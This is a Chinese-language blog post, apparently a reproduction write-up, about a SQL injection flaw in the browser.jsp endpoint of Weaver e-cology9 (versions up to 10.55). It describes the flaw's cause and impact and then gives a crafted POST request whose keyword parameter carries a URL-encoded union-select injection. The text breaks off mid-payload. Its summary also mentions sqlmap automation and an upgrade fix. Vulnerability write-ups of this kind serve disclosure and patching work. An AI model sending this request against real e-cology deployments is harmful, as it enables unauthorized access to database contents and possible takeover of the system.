泛微e-cology9 browser.jsp SQL注入漏洞

最新推荐文章于 2024-11-07 22:12:00 发布

原创

最新推荐文章于 2024-11-07 22:12:00 发布 · 1.9k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#渗透测试 #sql #安全

本文介绍了泛微e-cology9的browser.jsp存在的SQL注入漏洞，详细阐述了漏洞的成因、危害及复现步骤，包括如何构建数据包、使用sqlmap自动化注入。同时，提出了修复建议，即升级到10.56及以上版本，并提供了相关扩展知识链接。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

泛微e-cology9 browser.jsp SQL注入漏洞

漏洞描述（介绍、成因）

泛微e-cology9中存在SQL注入漏洞，经身份认证的远程攻击者即可利用此漏洞获取数据库敏感信息，进一步利用可能导致目标系统被控。

漏洞危害

恶意攻击者可能会利用SQL注入漏洞获取、篡改数据库数据，执行系统命令，甚至获取系统控制权限。

适用场景

泛微e-cology9 <= 10.55

漏洞复现过程（有条件的自行搭建环境）

1、构建数据包

POST /mobile/plugin/browser.jsp HTTP/1.1
Host: xxx
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-N976N Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36 E-Mobile7/7.0.41.20201208 Language/zh Qiyuesuo/physicalSDK
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: xxx
Connection: close
Content-Length: 574

isDis=1&browserTypeId=269&keyword=a%' union sel